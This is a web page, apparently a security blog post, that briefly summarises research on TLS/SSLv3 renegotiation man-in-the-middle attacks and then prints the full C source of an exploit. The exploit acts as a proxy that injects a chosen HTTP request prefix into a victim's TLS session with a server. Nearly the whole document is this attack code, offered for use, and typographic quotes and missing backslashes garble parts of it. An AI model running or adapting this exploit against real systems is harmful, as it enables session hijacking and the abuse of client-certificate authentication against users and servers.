Tutorial By: Marsh Ray
Preview:
Transport Layer Security (TLS, RFC 5246 and previous, including SSL v3 and previous)
is subject to a number of serious man-in-the-middle (MITM) attacks related to
renegotiation. In general, these problems allow an MITM to inject an arbitrary amount of
chosen plaintext into the beginning of the application protocol stream, leading to a
variety of abuse possibilities. In particular, practical attacks against HTTPS client
certificate authentication have been demonstrated against recent versions of both
Microsoft IIS and Apache httpd on a variety of platforms and in conjunction with a
variety of client applications. Cases not involving client certificates have been
demonstrated as well. Although this research has focused on the implications
specifically for HTTP as the application protocol, the research is ongoing and many of
these attacks are expected to generalize well to other protocols layered on TLS.
Download Link: http://www.g-sec.lu/Renegotiating%20TLS.pdf
[ad]
Exploit code for SSLV3 MITM Attack – http://iht.li/p/ZFF :
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/ssl3.h>void
fail(const char *proc)
{
perror(proc);
exit(1);
}void
setup_server
(int *sock, int port)
{
struct sockaddr_in sa;
int s, r, i;s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
i = 1;
r = setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
if (r == -1)
fail(“setup_server:setsockopt(SO_REUSEADDR)”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = INADDR_ANY;
sa.sin_port = htons(port);
r = bind(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_server:bind”);
r = listen(s, 5);
if (r == -1)
fail(“setup_server:listen”);
*sock = s;
}void
do_accept
(int *accepted, int sock)
{
struct sockaddr_in sa;
socklen_t sl;
int s;sl = sizeof(sa);
s = accept(sock, (struct sockaddr *) &sa, &sl);
if (s == -1)
fail(“do_accept:accept”);
fprintf(stderr, “accepted %s:%dn”,
inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
*accepted = s;
}void
setup_client
(int *sock, in_addr_t ip, int port)
{
struct sockaddr_in sa;
int s, r;s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
fail(“setup_server:socket”);
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ip;
sa.sin_port = htons(port);
r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
if (r == -1)
fail(“setup_client:connect”);
*sock = s;
}int
xread
(int fd, unsigned char *buf, size_t len)
{
int r, rlen;rlen = 0;
while (len > 0) {
r = read(fd, buf, len);
if (r == 0)
break;
else if (r == -1)
return -1;
buf += r;
len -= r;
rlen += r;
}
return rlen;
}struct ssl_io_t
{
SSL *ssl;
int fd;
int raw;
};extern int
ssl3_read_bytes
(SSL *s, int type, unsigned char *buf, int len, int peek);int
rec_read
(struct ssl_io_t *io, unsigned char *buf)
{
int r, l;#if 0
fprintf(stderr, “rec read %sn”,
io->raw & 1 ? “raw” : “cooked”);
#endif
if (io->raw & 1) {
r = xread(io->fd, buf, 5);
if (r == 0)
return 0;
else if (r != 5)
fail(“rec_read:read1”);
if (buf[0] != 0x80)
l = (buf[3] << 8) + buf[4];
else /* ssl2 hack */
/* fail(“rec_read:ssl2”); */
l = (buf[1]) – 3;
if (l < 0 || l > (1 << 15)) {
errno = EINVAL;
fail(“rec_read:reclen”);
}
r = xread(io->fd, buf + 5, l);
if (r != l)
fail(“rec_read:read2”);
l += 5;
return l;
}
else {
r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
if (r == 0)
return 0;
else if (r < 0) {
if (io->ssl->s3->change_cipher_spec) {
buf[0] = 0x14;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = 0;
buf[4] = 1;
buf[5] = 1;
io->raw |= 1;
io->ssl->s3->change_cipher_spec = 0;
return 6;
}
fail(“rec_read:ssl3_read_bytes”);
}
l = r;
buf[0] = io->ssl->s3->rrec.type;
buf[1] = (io->ssl->version >> 8);
buf[2] = (io->ssl->version & 0xff);
buf[3] = (l >> 8);
buf[4] = (l & 0xff);
return l + 5;
}
}extern int
ssl3_write_bytes
(SSL *s, int type, const void *buf_, int len);void
rec_write
(struct ssl_io_t *io, unsigned char *buf, size_t len)
{
int r;#if 0
fprintf(stderr, “rec write %sn”,
io->raw & 2 ? “raw” : “cooked”);
#endif
if (io->raw & 2) {
r = write(io->fd, buf, len);
if (r != len)
fail(“rec_write:write”);
}
else {
r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len – 5);
if (r < 0) {
fail(“rec_read:ssl3_write_bytes”);
}
if (buf[0] == 0x14) {
io->raw |= 2;
}
}
}void
ssl_io
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
struct ssl_io_t *ssls[2];
int maxfd, active;
int i, r, l;
fd_set rfd;
unsigned char buf[1 << 16];ssls[0] = assl;
ssls[1] = cssl;
active = 3;
maxfd = 0;
for (i = 0; i < 2; i++)
if (ssls[i]->fd >= maxfd)
maxfd = ssls[i]->fd + 1;while (active) {
FD_ZERO(&rfd);
for (i = 0; i < 2; i++)
if (active & (1 << i))
FD_SET(ssls[i]->fd, &rfd);
r = select(maxfd, &rfd, NULL, NULL, NULL);
if (r == -1)
fail(“rec_io:select”);
for (i = 0; i < 2; i++) {
if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &rfd)) {
r = rec_read(ssls[i], buf);
if (r == 0) {
shutdown(ssls[i]->fd, SHUT_RD);
shutdown(ssls[1 – i]->fd, SHUT_WR);
active &= ~(1 << i);
continue;
}
l = r;
rec_write(ssls[1 – i], buf, l);
}
}
}
}void
setup_ssl_ctx
(SSL_CTX **ctx)
{
OpenSSL_add_ssl_algorithms();
SSL_load_error_strings();
*ctx = SSL_CTX_new(SSLv3_client_method());
if (!*ctx)
fail(“setup_ssl_ctx:SSL_CTX_new”);
}void
setup_ssl_io
(struct ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
SSL *ssl;
BIO *bio;ssl = SSL_new(ctx);
if (!ssl)
fail(“setup_ssl_ctx:SSL_new”);
bio = BIO_new_socket(sock, BIO_NOCLOSE);
if (!bio)
fail(“setup_ssl_ctx:BIO_new_socket”);
SSL_set_bio(ssl, bio, bio);
SSL_set_connect_state(ssl);
io->ssl = ssl;
io->fd = sock;
io->raw = raw;
}int
bogus_change_cipher_state
(SSL *ssl, int i)
{
return 0;
}/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
int (*enc)(SSL *, int);
int (*mac)(SSL *, unsigned char *, int);
int (*setup_key_block)(SSL *);
int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
int (*change_cipher_state)(SSL *, int);
int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
int finish_mac_length;
int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
const char *client_finished_label;
int client_finished_label_len;
const char *server_finished_label;
int server_finished_label_len;
int (*alert_value)(int);
} SSL3_ENC_METHOD;#define TRICK “GET /ble HTTP/1.0rnX-Blah: ”
void
hack_ssl
(struct ssl_io_t *assl, struct ssl_io_t *cssl)
{
int r, l;
unsigned char buf[1 << 16];
SSL_METHOD *mth;r = rec_read(assl, buf);
if (r <= 0)
fail(“hack_ssl:rec_read:no i/o”);
l = r;if (buf[0] == 0x16 && buf[1] == 3 &&
(buf[2] == 0 || buf[2] == 1)) {
cssl->raw = 0;
r = SSL_CTX_set_ssl_version
(cssl->ssl->ctx, buf[2] == 0 ?
SSLv3_client_method() : TLSv1_client_method());
if (r != 1)
fail(“hack_ssl:SSL_CTX_set_ssl_version”);
r = SSL_clear(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_clear”);
r = SSL_connect(cssl->ssl);
if (r != 1)
fail(“hack_ssl:SSL_connect”);
/* ssl3_setup_buffers(io->ssl);
ssl_get_new_session(io->ssl, 0); */
r = SSL_write(cssl->ssl, TRICK, sizeof(TRICK)-1);
if (r != sizeof(TRICK)-1)
fail(“hack_ssl:SSL_connect”);
cssl->ssl->in_handshake++;
cssl->ssl->method->ssl3_enc->change_cipher_state =
bogus_change_cipher_state;
}
else {
/* schedule suicide */
alarm(5);
}rec_write(cssl, buf, l);
}#define HTTP_OK “HTTP/1.0 200 Connectedrnrn”
void
handle_http_req
(int sock, in_addr_t *ip, int *port)
{
int r, l, k;
unsigned char buf[1 << 16];
char str[100];
unsigned short num;
struct hostent *he;l = 0;
for (;;) {
r = read(sock, buf + l, sizeof(buf)-1 – l);
if (r <= 0)
fail(“handle_http_req:read”);
for (k = l; r > 0; ++k, –r)
if (buf[k] != ‘r’)
buf[l++] = buf[k];
if (l >= 2 && buf[l-1] == ‘n’ && buf[l-2] == ‘n’)
break;
if (l >= sizeof(buf)-1)
fail(“handle_http_req:req too big”);
}buf[l] = ‘�’;
r = sscanf(buf, “CONNECT %99[0-9A-Za-z.-]:%hu”, str, &num);
if (r != 2)
fail(“handle_http_req:bad request”);
he = gethostbyname(str);
if (he == NULL || he->h_length != sizeof(in_addr_t))
fail(“handle_http_req:gethostbyname”);r = write(sock, HTTP_OK, sizeof(HTTP_OK)-1);
if (r != sizeof(HTTP_OK)-1)
fail(“handle_http_req:write”);*ip = *(in_addr_t *)(he->h_addr_list[0]);
*port = num;
}int
main
(int argc, const char **argv)
{
pid_t pid;
int ssock, asock, csock;
SSL_CTX *ctx;
in_addr_t ip;
int port;
struct ssl_io_t assl, cssl;setup_ssl_ctx(&ctx);
setup_server(&ssock, atoi(argv[1]));
for (;;) {
do_accept(&asock, ssock);
pid = fork();
if (pid == -1)
fail(“main:fork”);
else if (pid == 0) {
close(ssock);
handle_http_req(asock, &ip, &port);
setup_client(&csock, ip, port);
setup_ssl_io(&assl, ctx, asock, 3);
setup_ssl_io(&cssl, ctx, csock, 3);
hack_ssl(&assl, &cssl);
ssl_io(&assl, &cssl);
return 0;
}
else {
close(asock);
}
}
}